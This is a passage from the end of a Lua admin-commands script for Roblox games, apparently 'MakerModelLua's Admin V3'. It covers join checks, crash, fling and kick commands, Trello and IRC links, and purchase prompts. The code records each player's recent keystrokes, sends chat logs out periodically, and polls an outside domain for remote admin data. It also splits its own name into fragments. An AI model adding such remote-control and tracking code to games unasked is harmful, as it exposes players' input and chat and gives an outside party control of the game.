8875 CORE:Crash(Player)
8876 for _,Person in pairs(Server.Players:GetPlayers()) do
8877 GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
8878 end
8879 end
8880 end
8881 for _,Name in pairs(Settings.Ranks.Muted) do
8882 if Player.Name == Name then
8883 GUI:CoreGui(Player, "Chat", false)
8884 for _,Person in pairs(Server.Players:GetPlayers()) do
8885 GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
8886 end
8887 end
8888 end
8889 if Settings.ServerLocked == true then
8890 if PlayerAdmin == false then
8891 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
8892 end
8893 end
8894
8895 if PlayerAdmin == false then
8896 if Player.AccountAge < Settings.MinimumAge then
8897 CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
8898 for _,Person in pairs(Server.Players:GetPlayers()) do
8899 GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
8900 end
8901 end
8902 end
8903
8904 if PlayerAdmin == false then
8905 if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
8906 table.insert(Settings.Ranks["Member"], Player.Name)
8907 PlayerAdmin = true
8908 Rank = "Member"
8909 end
8910 end
8911
8912 coroutine.wrap(function()
8913 if PlayerAdmin == true then GUI:TellAdmin(Player) end
8914 local function SpawnActions(Character)
8915 if Flings[Player.Name] then
8916 CORE:FlingPlayer(Player)
8917 else
8918 GUI:CreateTaskBar(Player)
8919 end
8920 if Beeps[Player.Name] == true then
8921 SOUND:BeepPlayer(Player)
8922 end
8923 if Jails[Player.Name] then
8924 Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
8925 end
8926 if PermCommandBars[Player.Name] then
8927 GUI:CommandBar(Player)
8928 end
8929 end
8930 Player.CharacterAdded:connect(SpawnActions)
8931 SpawnActions(Player.Character)
8932 end)()
8933
8934 coroutine.wrap(function()
8935 Player:WaitForChild("PlayerGui")
8936 local Sounds = {}
8937 for _,Data in pairs(TextConverter.LetterSounds) do
8938 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8939 Sound:Play()
8940 table.insert(Sounds, Sound)
8941 end
8942 for _,Data in pairs(TextConverter.LongVowels) do
8943 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8944 Sound:Play()
8945 table.insert(Sounds, Sound)
8946 end
8947 wait(5)
8948 for _,Sound in pairs(Sounds) do
8949 Sound:Destroy()
8950 end
8951 Sounds = {}
8952 end)()
8953
8954 coroutine.wrap(function()
8955 --if NLS then Server.Workspace:WaitForChild(Player.Name) end
8956 if IsSB then
8957 wait(1)
8958 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
8959 end
8960 CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
8961 print("Executed ClientLog on "..Player.Name)
8962 if Settings.EnableTaskBar then
8963 GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
8964 end
8965 end)()
8966
8967 coroutine.wrap(function()
8968 wait(7)
8969 Player:WaitForChild("PlayerGui")
8970 if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
8971 local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
8972 if Answer == "Ok" then
8973 MARKET:PromptPurchase(Player, AdminID)
8974 end
8975 end
8976 end)()
8977 end
8978end)() end
8979
8980-- Active stuff --
8981
8982CORE:UpdateAdmin()
8983CORE:FixSettings()
8984
8985ypcall(function()
8986 if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
8987 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
8988 end
8989end)
8990
8991
8992Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
8993 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8994 if PlayerAdmin == false then
8995 if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
8996 elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
8997 end
8998end end)
8999
9000--[[
9001ExecuteCommand.OnInvoke = function(Player, Command)
9002 if Player and Command then
9003 if type(Player) == "userdata" and Player:IsA("Player") then
9004 CORE:Chatted(Command, Player, true)
9005 end
9006 end
9007end
9008
9009ExecuteCode.OnInvoke = function(Source, Speaker)
9010 if type(Source) == "string" then
9011 ExecuteSafe(Source, Speaker)
9012 end
9013end
9014
9015ExecuteCommandClient.OnServerInvoke = function(Player, Command)
9016 if Player and Command then
9017 if type(Player) == "userdata" and Player:IsA("Player") then
9018 CORE:Chatted(Command, Player, true)
9019 end
9020 end
9021end
9022]]
9023
9024KeyPressed.OnServerInvoke = function(Player, Key)
9025 if Player and Key then
9026 if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
9027 CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
9028 end
9029 end
9030end
9031
9032InputKey.OnServerInvoke = function(Player, KeyVal)
9033 if Player and KeyVal then
9034 if LastKeys[Player.UserId] then
9035 table.insert(LastKeys[Player.UserId], KeyVal)
9036 if #LastKeys[Player.UserId] > 20 then
9037 table.remove(LastKeys[Player.UserId], 1)
9038 end
9039 end
9040 end
9041end
9042
9043RankPlayerLocal.OnServerInvoke = function(Player)
9044 wait()
9045 local Request = PendingRequests[Player]
9046 if Request then
9047 if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
9048 if Settings.Ranks[Request[1]] then
9049 PendingRequests[Player] = nil
9050 table.insert(Settings.Ranks[Request[1]], Player.Name)
9051 GUI:TellAdmin(Player)
9052 end
9053 end
9054 end
9055end
9056
9057RankPlayerServer.OnInvoke = function(Player, Rank)
9058 if not RANK:IsAdmin(Player) then
9059 PendingRequests[Player] = {Rank, tick()}
9060 end
9061end
9062
9063IsAdmin.OnServerInvoke = function(Player)
9064 local IsFullAdmin = false
9065 for _,PName in pairs(Settings.Ranks["Owner"]) do
9066 if PName == Player.Name then IsFullAdmin = true end
9067 end
9068 for _,PName in pairs(Settings.Ranks["Admin"]) do
9069 if PName == Player.Name then IsFullAdmin = true end
9070 end
9071 return IsFullAdmin
9072end
9073
9074AddExploit.OnServerInvoke = CORE.AddExploit
9075AddExploitServer.OnInvoke = CORE.AddExploit
9076
9077KickClient.OnServerInvoke = function(PlayerClient)
9078 PlayerClient:Kick()
9079end
9080
9081ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
9082 return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
9083end
9084
9085for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
9086Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
9087Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
9088
9089coroutine.wrap(function()
9090 for _,ID in pairs(Icons) do
9091 game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
9092 end
9093end)()
9094
9095CORE:SetAbuseCommands()
9096
9097coroutine.wrap(function() SOUND:SyncSoundList() end)()
9098if not IsStudio then coroutine.wrap(function()
9099 if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
9100 REMOTE:GetRemoteData(true)
9101 REMOTE:CheckTrelloInfo()
9102 coroutine.wrap(function()
9103 if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
9104 REMOTE.RemoteConnection = true
9105 end
9106 end)()
9107 coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
9108 coroutine.wrap(function()
9109 if Settings.LinkedAccount ~= "" then
9110 local Request = nil
9111 ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
9112 if Request then
9113 REMOTE:HandleRequest(Request, true)
9114 end
9115 end
9116 end)()
9117 coroutine.wrap(function()
9118 wait(RemoteData.RemoteAdminWait)
9119 while REMOTE:GetAndSetWebData() do
9120 wait(RemoteData.RemoteAdminWait)
9121 end
9122 end)()
9123 coroutine.wrap(function()
9124 while wait(60) do
9125 REMOTE:GetRemoteData(true)
9126 REMOTE:CheckTrelloInfo()
9127 end
9128 end)()
9129end)() end
9130coroutine.wrap(function()
9131 if Settings.TrelloToken ~= "" then
9132 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
9133 if #Trello.RequiredLists > 0 then
9134 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
9135 if Trello.MainBoard.name then
9136 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
9137 REMOTE:TrelloCacheData(Lists)
9138 REMOTE:TrelloHandleData(true)
9139 coroutine.wrap(function()
9140 wait(RemoteData.TrelloWait)
9141 while REMOTE:TrelloHandleData() do
9142 wait(RemoteData.TrelloWait)
9143 end
9144 end)()
9145 end
9146 end
9147 else
9148 print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
9149 end
9150end)()
9151coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
9152 REMOTE:SendChatLog()
9153end end)()
9154coroutine.wrap(function() while true do
9155 local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
9156 if ThisDate then Date = ThisDate end
9157 wait(600)
9158end end)()
9159
9160print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")